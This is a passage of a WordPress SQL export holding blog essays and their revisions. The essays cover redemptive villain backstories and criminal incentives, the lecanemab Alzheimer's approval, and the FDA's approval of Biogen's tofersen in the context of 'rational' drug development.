(401,1,'2024-06-12 15:54:08','2024-06-12 15:54:08','<!-- wp:paragraph -->\n<p>Among all the Disney live action films of the past few years, I think the stupidest, premise-wise, has got to be&nbsp;<em>Cruella</em>. This was back when Disney executives were determined to give redeeming backstories to all of their villains, and decided the puppy-skinning maniac of&nbsp;<em>101 Dalmatians</em>&nbsp;was their next redemption target.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, as Wikipedia informs me, their idea for redemption was to give Cruella a backstory in which she was an ordinary, fashion-obsessed girl until a cruel baroness unleashed her Dalmatian hounds on her poor mother, driving her mother off a cliff and Cruella into a life of crime. One thing leads to the next and, before you know it, Cruella combined her love of fashion, hatred of Dalmatians, and criminal inclinations into a single overriding passion of making fur coats out of Dalmatian puppies.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even for a tongue-in-cheek movie, as I imagine&nbsp;<em>Cruella</em>&nbsp;is, this is ridiculous. Cruella de Vil can’t be redeemed through a tragic backstory. The whole point of her character is that she’s a black-and-white (pun intended) depiction of a cruel, vain woman who’s willing to hurt innocents for her own selfish needs. She’s just evil, and the heroes of the movie are correct to thwart her at every turn. I mean, her name is literally “cruel devil”. You can’t get much more evil than that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc779bd4f-c072-4a32-aded-5111cf078ac1_705x1000.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc779bd4f-c072-4a32-aded-5111cf078ac1_705x1000.jpeg\" alt=\"Amazon.com: Disney\'s Cruella DVD [2021] : Movies &amp; TV\" title=\"Amazon.com: Disney\'s Cruella DVD [2021] : Movies &amp; TV\"/></a><figcaption class=\"wp-element-caption\">The “Cruella de Vil” pun is made a lot more obvious in the live action. Also, I hate this style of poster. Do I need to see every single person in the film on the poster?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And yet, these executives persist. But why? What makes it so appealing in this day and age to try to redeem even the unredeemable?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, I don’t think it’s ever exactly articulated in this movie, or any movie, but I think some clue lies in the idea of “redemption”. We use this word again and again (I mean, I’ve used it like 4 times already), but we don’t think about what it really means for us as a society. It’s at the core of our Western Judeo-Christian roots: first, as Jews, when we are redeemed from captivity in Egypt, and second, more influentially, as Christians, when we are saved from original sin by Christ’s sacrifice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In both, there’s a sense of being freed from bondage. The genius of Christianity’s version is that it identifies sin as a metaphysical bondage that it’s possible to be freed from. Unlike other morality systems, Christianity never identifies sins or sinners as irredeemable (there’s that word again). It insists on the idea that anyone can sin and anyone can be “washed” of their sins, “freed of the chains” of their iniquity, and go to heaven.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Christianity (and especially Catholicism), the way to be freed is through the rites, rituals, and beliefs of Christianity. But, the Western world in 2023 is mostly post-Christian. Christianity has soaked into our culture and values, but we, as a people, quite literally no longer go to church. So we get the Christian values without the Christian beliefs. We still need to believe sinners can be redeemed, but not through their beliefs. Instead, we allow them to be redeemed through their origin, glorifying a lowly origin and demeaning a high one, which ironically recaptures another Christian value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s why we feel compelled to justify sinners’ actions, Disney executives included. But should we do it? Well, when we get all the way to one end of the spectrum of sinners, it seems obviously wrong. Cruella, regardless of her tragic backstory, should not skin puppies. And when we get to the other end of the spectrum, it seems obviously ok. Most people would agree that a child who is beaten at home and then gets in fights at school should not be thrown into jail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s the middle of the spectrum that gets people. I read a great and very sad magazine article once about parents who accidentally kill their children by leaving them in hot cars. The magazine article talked about how juries could see the exact same action as either a tragic mistake by a well-meaning parent or deadly neglect by an unfit parent, depending on how sympathetic the defendant was. The parent’s backstory could either redeem them or condemn them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have struggled with this question in my life. A few years ago I was walking through the park with my then-girlfriend. There was some crazy guy having a mental breakdown in the middle of the park, ranting and raving at everyone who walked by. At one point, an Asian guy walked by, and the crazy guy called him a racial slur.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Asian guy immediately took out his phone and started filming the crazy guy, daring him to repeat what he said. The two of them then started shouting at each other until eventually the Asian guy walked away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“That Asian guy shouldn’t have filmed him,” I said to my then-girlfriend. “There’s no need to put someone’s breakdown on film.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“The crazy guy shouldn’t have said the racial slur. If he hadn’t, then the Asian guy wouldn’t have felt the need to film him,” she replied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“But you can’t hold a crazy guy responsible for what he says,” I replied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My then-girlfriend, who’s black, looked at me and said, “You know, it’s funny. They’re crazy, but they’re never so crazy as to neglect to call me the n-word.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And she had a point. Anyone standing in the middle of the park shouting at passersby is some kind of crazy, but the guy was apparently sane enough to pick out a nerdy-looking Asian guy and call him a racial slur, rather than calling out a gangster or even, if he was really crazy, a pigeon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I had been excusing his behavior completely as if he had no control over it, but he must have, because there was a logic to it. People, even when they’re crazy, respond to incentives. They do things that make them feel good and that they don’t predict will make them feel bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It makes me feel like we should take out the question of fairness at all. Let everyone feel as sympathetic as they need to for whatever person they need to feel bad for. But, structure the incentives so that people don’t feel tempted to do the wrong thing, regardless of what they’re going through. The incentive should always be such that a potential criminal thinks that doing a bad thing would be worse for them than not doing it, regardless of what that bad thing is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be a crueler system to criminals than the one we have now. It would require us to basically ignore exculpatory circumstances. But, it’d perhaps be a nicer system for ordinary people, some of whom, undoubtedly, have tragic backstories, too. They chose not to do bad things. Shouldn’t we make sure that criminals have the incentives to make the same choice?</p>\n<!-- /wp:paragraph -->','Why do we try to redeem criminals by looking at their upbringing?','','publish','closed','closed','','why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing','','','2024-06-12 15:54:08','2024-06-12 15:54:08','',0,'https://trevorklee.com/?page_id=401',0,'page','',0),
(402,1,'2024-06-12 15:54:08','2024-06-12 15:54:08','<!-- wp:paragraph -->\n<p>Among all the Disney live action films of the past few years, I think the stupidest, premise-wise, has got to be&nbsp;<em>Cruella</em>. This was back when Disney executives were determined to give redeeming backstories to all of their villains, and decided the puppy-skinning maniac of&nbsp;<em>101 Dalmatians</em>&nbsp;was their next redemption target.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, as Wikipedia informs me, their idea for redemption was to give Cruella a backstory in which she was an ordinary, fashion-obsessed girl until a cruel baroness unleashed her Dalmatian hounds on her poor mother, driving her mother off a cliff and Cruella into a life of crime. One thing leads to the next and, before you know it, Cruella combined her love of fashion, hatred of Dalmatians, and criminal inclinations into a single overriding passion of making fur coats out of Dalmatian puppies.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even for a tongue-in-cheek movie, as I imagine&nbsp;<em>Cruella</em>&nbsp;is, this is ridiculous. Cruella de Vil can’t be redeemed through a tragic backstory. The whole point of her character is that she’s a black-and-white (pun intended) depiction of a cruel, vain woman who’s willing to hurt innocents for her own selfish needs. She’s just evil, and the heroes of the movie are correct to thwart her at every turn. I mean, her name is literally “cruel devil”. You can’t get much more evil than that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc779bd4f-c072-4a32-aded-5111cf078ac1_705x1000.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc779bd4f-c072-4a32-aded-5111cf078ac1_705x1000.jpeg\" alt=\"Amazon.com: Disney\'s Cruella DVD [2021] : Movies &amp; TV\" title=\"Amazon.com: Disney\'s Cruella DVD [2021] : Movies &amp; TV\"/></a><figcaption class=\"wp-element-caption\">The “Cruella de Vil” pun is made a lot more obvious in the live action. Also, I hate this style of poster. Do I need to see every single person in the film on the poster?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And yet, these executives persist. But why? What makes it so appealing in this day and age to try to redeem even the unredeemable?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, I don’t think it’s ever exactly articulated in this movie, or any movie, but I think some clue lies in the idea of “redemption”. We use this word again and again (I mean, I’ve used it like 4 times already), but we don’t think about what it really means for us as a society. It’s at the core of our Western Judeo-Christian roots: first, as Jews, when we are redeemed from captivity in Egypt, and second, more influentially, as Christians, when we are saved from original sin by Christ’s sacrifice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In both, there’s a sense of being freed from bondage. The genius of Christianity’s version is that it identifies sin as a metaphysical bondage that it’s possible to be freed from. Unlike other morality systems, Christianity never identifies sins or sinners as irredeemable (there’s that word again). It insists on the idea that anyone can sin and anyone can be “washed” of their sins, “freed of the chains” of their iniquity, and go to heaven.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Christianity (and especially Catholicism), the way to be freed is through the rites, rituals, and beliefs of Christianity. But, the Western world in 2023 is mostly post-Christian. Christianity has soaked into our culture and values, but we, as a people, quite literally no longer go to church. So we get the Christian values without the Christian beliefs. We still need to believe sinners can be redeemed, but not through their beliefs. Instead, we allow them to be redeemed through their origin, glorifying a lowly origin and demeaning a high one, which ironically recaptures another Christian value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s why we feel compelled to justify sinners’ actions, Disney executives included. But should we do it? Well, when we get all the way to one end of the spectrum of sinners, it seems obviously wrong. Cruella, regardless of her tragic backstory, should not skin puppies. And when we get to the other end of the spectrum, it seems obviously ok. Most people would agree that a child who is beaten at home and then gets in fights at school should not be thrown into jail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s the middle of the spectrum that gets people. I read a great and very sad magazine article once about parents who accidentally kill their children by leaving them in hot cars. The magazine article talked about how juries could see the exact same action as either a tragic mistake by a well-meaning parent or deadly neglect by an unfit parent, depending on how sympathetic the defendant was. The parent’s backstory could either redeem them or condemn them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have struggled with this question in my life. A few years ago I was walking through the park with my then-girlfriend. There was some crazy guy having a mental breakdown in the middle of the park, ranting and raving at everyone who walked by. At one point, an Asian guy walked by, and the crazy guy called him a racial slur.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Asian guy immediately took out his phone and started filming the crazy guy, daring him to repeat what he said. The two of them then started shouting at each other until eventually the Asian guy walked away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“That Asian guy shouldn’t have filmed him,” I said to my then-girlfriend. “There’s no need to put someone’s breakdown on film.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“The crazy guy shouldn’t have said the racial slur. If he hadn’t, then the Asian guy wouldn’t have felt the need to film him,” she replied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“But you can’t hold a crazy guy responsible for what he says,” I replied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My then-girlfriend, who’s black, looked at me and said, “You know, it’s funny. They’re crazy, but they’re never so crazy as to neglect to call me the n-word.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And she had a point. Anyone standing in the middle of the park shouting at passersby is some kind of crazy, but the guy was apparently sane enough to pick out a nerdy-looking Asian guy and call him a racial slur, rather than calling out a gangster or even, if he was really crazy, a pigeon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I had been excusing his behavior completely as if he had no control over it, but he must have, because there was a logic to it. People, even when they’re crazy, respond to incentives. They do things that make them feel good and that they don’t predict will make them feel bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It makes me feel like we should take out the question of fairness at all. Let everyone feel as sympathetic as they need to for whatever person they need to feel bad for. But, structure the incentives so that people don’t feel tempted to do the wrong thing, regardless of what they’re going through. The incentive should always be such that a potential criminal thinks that doing a bad thing would be worse for them than not doing it, regardless of what that bad thing is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be a crueler system to criminals than the one we have now. It would require us to basically ignore exculpatory circumstances. But, it’d perhaps be a nicer system for ordinary people, some of whom, undoubtedly, have tragic backstories, too. They chose not to do bad things. Shouldn’t we make sure that criminals have the incentives to make the same choice?</p>\n<!-- /wp:paragraph -->','Why do we try to redeem criminals by looking at their upbringing?','','inherit','closed','closed','','401-revision-v1','','','2024-06-12 15:54:08','2024-06-12 15:54:08','',401,'https://trevorklee.com/?p=402',0,'revision','',0),
(403,1,'2024-06-12 15:55:41','2024-06-12 15:55:41','<!-- wp:paragraph -->\n<p>A while ago, I read a figure that was something like, “In the entire history of medicine before the invention of antibiotics, doctors killed more people than they saved.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, this is impossible to really prove. There’s no way to get those statistics. But it seems about right. We all know the stories of the bleeders and leechers of medicine in the past: George Washington bled to death by his doctors after he caught pneumonia; King Charles II bled, blistered, and purged until he slipped into a coma he never woke up from; even the obstetricians of Semmelweiss’s time infecting their patients by refusing to ever wash their hands.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I often think about what people in those times must have thought of their men of medicine and science. They must have seen that going to the doctor was, at best, a roll of the dice. A doctor’s visit might get you better, the same, or worse. There was no way to tell in advance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And yet they kept going to the doctor! Not only that, but they actually paid those doctors, and gave them honors and places in their highest halls. Why? Is someone who’s willing to confidently take action, even if that action is sorely mistaken, so highly valued?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And what about all the privileged young men who then chose to become doctors themselves? Surely they must have noticed that the people they were learning from had no idea what they were doing. They must have been able to tell that, despite their professors’ grave pronouncements that they knew exactly what was wrong with the patients, they somehow were unable to consistently fix the problems, and frequently made them worse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Didn’t that ever stick in those young mens’ craws? Did they ever stop their gray haired professors in the midst of their grave diagnoses and say, “Wait a minute, I saw you kill a guy last week by giving him enemas until he collapsed, so why am I listening to you about how to fix this new guy?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This has all been swirling through my mind as I read that the FDA has now officially approved lecanemab, the newest Alzheimer’s treatment from Eisai. Lecanemab is the newest and greatest anti-amyloid antibody. Unlike the previous approved one, aducanumab, it even has a mild clinical beneft. Also unlike aducanumab, it’s been approved for Medicare coverage, which means that Eisai is almost guaranteed to start earning billions of dollars a year from the US taxpayer for this drug, given that there are around a million Medicare patients eligible for it and the sticker price is $26,500.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An approved, publicly available drug for Alzheimer’s should be a time of rejoicing. It should be as exciting as the approval of penicillin, where patients on the brink of death were brought back to life within hours. And yet somehow, it’s not.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This probably has to do with the fact that this multibillion dollar drug’s greatest effect is to slightly slow down decline in cognitive function over the course of 18 months, resulting in a decline of about 1.21 points instead of 1.66 points on an 18 point scale. This comes at a time cost of an hour spent on an IV every two weeks, and a health cost of a 20% chance of “flu-like symptoms” and a 10% chance of brain swelling. This doesn’t feel like a miracle drug. It feels a lot more like a slight step up from bleeding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>NPR ran an inadvertently interesting piece after the approval of lecanemab. The piece itself is mostly just fluff, but what I find interesting is that, in their search for “balance”, they had the following quotes:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. From a doctor with a prestigious title: “[Lecanemab] will not stop or reverse [Alzheimer’s], but it may slow progression…it is very exciting that we are targeting the pathology of the disease.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. From the well-paid CEO of a nonprofit that’s heavily funded by Eisai: “[To be talking about a treatment] is an incredible point for the Alzheimer’s cause.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. From the husband of a patient who received treatment: “There’s been some [cognitive] degradation. But, we don’t have enough experience, like the medical folks do, to know what would have happened without the drug.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, a doctor who acknowledges that this isn’t even close to a cure, but is still confident that he knows the pathology of this disease, a paid booster, and a patient who sees that this drug is barely working, but decides to trust in authority.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe this is how the medicine men of centuries past kept their position in the halls of power. They themselves were unwarrantedly confident, supported by hangers on who benefited from their cures and prognoses, and their patients had to simply trust that these august men knew better than they did.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the words of Faulkner: the past isn’t dead. It’s not even past.</p>\n<!-- /wp:paragraph -->','Is this all the medicine we were promised?','','publish','closed','closed','','is-this-all-the-medicine-we-were-promised','','','2024-06-12 15:55:41','2024-06-12 15:55:41','',0,'https://trevorklee.com/?page_id=403',0,'page','',0),
(404,1,'2024-06-12 15:55:41','2024-06-12 15:55:41','<!-- wp:paragraph -->\n<p>A while ago, I read a figure that was something like, “In the entire history of medicine before the invention of antibiotics, doctors killed more people than they saved.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, this is impossible to really prove. There’s no way to get those statistics. But it seems about right. We all know the stories of the bleeders and leechers of medicine in the past: George Washington bled to death by his doctors after he caught pneumonia; King Charles II bled, blistered, and purged until he slipped into a coma he never woke up from; even the obstetricians of Semmelweiss’s time infecting their patients by refusing to ever wash their hands.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I often think about what people in those times must have thought of their men of medicine and science. They must have seen that going to the doctor was, at best, a roll of the dice. A doctor’s visit might get you better, the same, or worse. There was no way to tell in advance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And yet they kept going to the doctor! Not only that, but they actually paid those doctors, and gave them honors and places in their highest halls. Why? Is someone who’s willing to confidently take action, even if that action is sorely mistaken, so highly valued?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And what about all the privileged young men who then chose to become doctors themselves? Surely they must have noticed that the people they were learning from had no idea what they were doing. They must have been able to tell that, despite their professors’ grave pronouncements that they knew exactly what was wrong with the patients, they somehow were unable to consistently fix the problems, and frequently made them worse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Didn’t that ever stick in those young mens’ craws? Did they ever stop their gray haired professors in the midst of their grave diagnoses and say, “Wait a minute, I saw you kill a guy last week by giving him enemas until he collapsed, so why am I listening to you about how to fix this new guy?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This has all been swirling through my mind as I read that the FDA has now officially approved lecanemab, the newest Alzheimer’s treatment from Eisai. Lecanemab is the newest and greatest anti-amyloid antibody. Unlike the previous approved one, aducanumab, it even has a mild clinical beneft. Also unlike aducanumab, it’s been approved for Medicare coverage, which means that Eisai is almost guaranteed to start earning billions of dollars a year from the US taxpayer for this drug, given that there are around a million Medicare patients eligible for it and the sticker price is $26,500.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An approved, publicly available drug for Alzheimer’s should be a time of rejoicing. It should be as exciting as the approval of penicillin, where patients on the brink of death were brought back to life within hours. And yet somehow, it’s not.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This probably has to do with the fact that this multibillion dollar drug’s greatest effect is to slightly slow down decline in cognitive function over the course of 18 months, resulting in a decline of about 1.21 points instead of 1.66 points on an 18 point scale. This comes at a time cost of an hour spent on an IV every two weeks, and a health cost of a 20% chance of “flu-like symptoms” and a 10% chance of brain swelling. This doesn’t feel like a miracle drug. It feels a lot more like a slight step up from bleeding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>NPR ran an inadvertently interesting piece after the approval of lecanemab. The piece itself is mostly just fluff, but what I find interesting is that, in their search for “balance”, they had the following quotes:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. From a doctor with a prestigious title: “[Lecanemab] will not stop or reverse [Alzheimer’s], but it may slow progression…it is very exciting that we are targeting the pathology of the disease.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. From the well-paid CEO of a nonprofit that’s heavily funded by Eisai: “[To be talking about a treatment] is an incredible point for the Alzheimer’s cause.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. From the husband of a patient who received treatment: “There’s been some [cognitive] degradation. But, we don’t have enough experience, like the medical folks do, to know what would have happened without the drug.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, a doctor who acknowledges that this isn’t even close to a cure, but is still confident that he knows the pathology of this disease, a paid booster, and a patient who sees that this drug is barely working, but decides to trust in authority.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe this is how the medicine men of centuries past kept their position in the halls of power. They themselves were unwarrantedly confident, supported by hangers on who benefited from their cures and prognoses, and their patients had to simply trust that these august men knew better than they did.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the words of Faulkner: the past isn’t dead. It’s not even past.</p>\n<!-- /wp:paragraph -->','Is this all the medicine we were promised?','','inherit','closed','closed','','403-revision-v1','','','2024-06-12 15:55:41','2024-06-12 15:55:41','',403,'https://trevorklee.com/?p=404',0,'revision','',0),
(405,1,'2024-06-12 15:56:57','2024-06-12 15:56:57','<!-- wp:paragraph -->\n<p>On April 25, 2023,&nbsp;<a href=\"https://investors.biogen.com/news-releases/news-release-details/fda-grants-accelerated-approval-qalsodytm-tofersen-sod1-als\">the FDA approved Biogen’s novel drug tofersen</a>&nbsp;under the brand name “Qalsody” as a treatment for a rare form of amyotrophic lateral sclerosis, or ALS. ALS, if you don’t know, is a terrible disease in which you slowly lose control of your muscles, including, eventually, the muscles that allow you to breathe. Tofersen is a drug that purports to slow the progression of ALS, specifically in people who get ALS because of a mutation in a specific gene called SOD1.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The press release for Qalsody touts this approval as a milestone because it’s the first treatment to target a genetic cause of ALS. If you read further into the press release, you’ll see the real milestone, though: Biogen is now 2 for 2 on getting the FDA to approve neurodegeneration “treatments” after they fail clinical efficacy trials, roughly two years after they managed the same with their clinically ineffective Alzheimer’s drug aducanumab.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That is to say, Biogen is now 2 for 2 on the following playbook:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) spend a lot of money developing a treatment for a neurodegenerative disease based on a mechanistic understanding of said neurodegenerative disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) successfully treat the supposed “causal mechanism” of that disease but fail to actually cure the symptoms of the disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) convince the FDA that the drug should be approved anyways because they treated the causal mechanism, even though they failed their own clinical trial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To quote the great Dr. Doofenshmirtz, if I had a nickel for every time that happened, I’d have two nickels. That isn’t a lot, but it’s weird that it happened twice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From the outside looking in, it can be difficult to explain how we got here. A lot of the Twitter commentariat would simply just respond with “Because the FDA is corrupt”, but I don’t think that’s fair<a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-1-135211863\">1</a>. For one thing, the tofersen approval was supported by the FDA’s panel of independent advisors, the advisory committee or adcom. This is entirely unlike the aducanemab approval, which was not only opposed by the adcom, it was so opposed that three experts resigned from the adcom in light of the approval. Even if the FDA is corrupt (which I don’t think it is), the professors and doctors who make up the adcoms that meet for every drug approval are not.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, I think you can trace Biogen’s weird success in getting the FDA to approve clinically ineffective drugs back to a certain way of viewing medicine and drug development that’s infected both the industry and the regulators that run it. It’s a view that’s top-down and “objective”, free from the shooting in the dark that characterized all of drug development in its earlier decades, and still much of drug development and medicine now. It disdains the blind testing of massive numbers of compounds and the development of medicines that work for unclear reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This infectious view is the “rational” view of drug development. Rational drug development has been used by a lot of people to mean a lot of things (especially as a marketing term), but the most important component of rational drug development is the assumption that every part of the body is mechanical: the body works by one component physically affecting another component, like a Rube Goldberg device.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Diseases, in the rational view, also work the same way, but are the result of malfunctioning Rube Goldberg devices, like a waste product failing to be removed, building up, and then poisoning organs. So, to continue the analogy, if we carefully design our drugs to prevent one step in the process (e.g. the buildup of the waste product), we can prevent the end result of the Rube Goldberg device, which is the physical symptoms of the disease.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When pharmaceutical companies view diseases in this sequential way, then they start to think of drug development as an engineering problem. They let the academics define the steps of the Rube Goldberg machine and probably also a way to jam a step. Then they swoop in and make sure to optimize the jammer. They make it exceptionally good at jamming that step and make sure it doesn’t jam anything else. Then, at every point in the drug development process, they measure how well the jammer works, based on how much of the step after is able to be completed. They measure it in vitro (in a Petri dish), then in mice, and maybe then in healthy people. And, by the time they measure it in sick people, there are no surprises. At least, there shouldn’t be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This way of thinking is also very appealing to regulators. When a company develops a drug, they talk constantly with the FDA to make sure their hundreds of millions or billions of dollars in development costs are going towards trials that would be convincing to the FDA. Now, the FDA sees their role in drug development as the following, roughly in order of importance:<br><br>1. Make sure that harmful drugs do not make it to the public (or, ideally, even to volunteers).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Make sure that ineffective drugs do not make it to the public.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Make sure that effective drugs do make it to the public.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For a long time, number 3 on that list was mostly an afterthought. The FDA was so scared of a high profile failure on their most important priority of preventing dangerous drugs from making it to the public<a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-2-135211863\">2</a>&nbsp;that they were just straight up gatekeepers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that all changed in the 70s with Nixon’s War on Cancer. JFK had put an American on the Moon by the end of the 60s, and goddamnit Tricky Dick was going to put an end to cancer by the end of the 70s. Hundreds of billions of federal funding poured into cancer research, including expanding the National Cancer Institute within the NIH and funding cancer centers around the country.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So suddenly the FDA got a lot of pressure from the top and the bottom to help end cancer. From the top, Tricky Dick and his cronies had promised the American people explicitly that they were going to end cancer by the year 1980. From the bottom, every university in the country started doing research on cancer and drug companies got a ton of incentives to help develop cures. The FDA was feeling the heat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, of course, they didn’t want to just roll over and let any snake oil peddler get a possibly harmful chemo treatment on the market. So what was the FDA to do? Well, first, they tried just repurposing some random drugs that looked like they had anticancer activity. This led to the rapid approval of megestrol acetate, a hormonal contraceptive that had limited success in treating sex-related cancers like endometrial cancer, and tretinoin, an acne treatment which had, again, limited success in leukemia. But this well quickly ran dry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, quietly, and without much fanfare, the FDA relaxed rule 1. It was now ok for drugs to be harmful, as long as they were at least somewhat effective against cancer, because the alternative was death. So, the FDA started approving a bunch of nasty drugs. This included bleomycin, approved in 1973, which is the only drug I’ve ever heard of that has a lifetime limit (if you take more than 400 units it 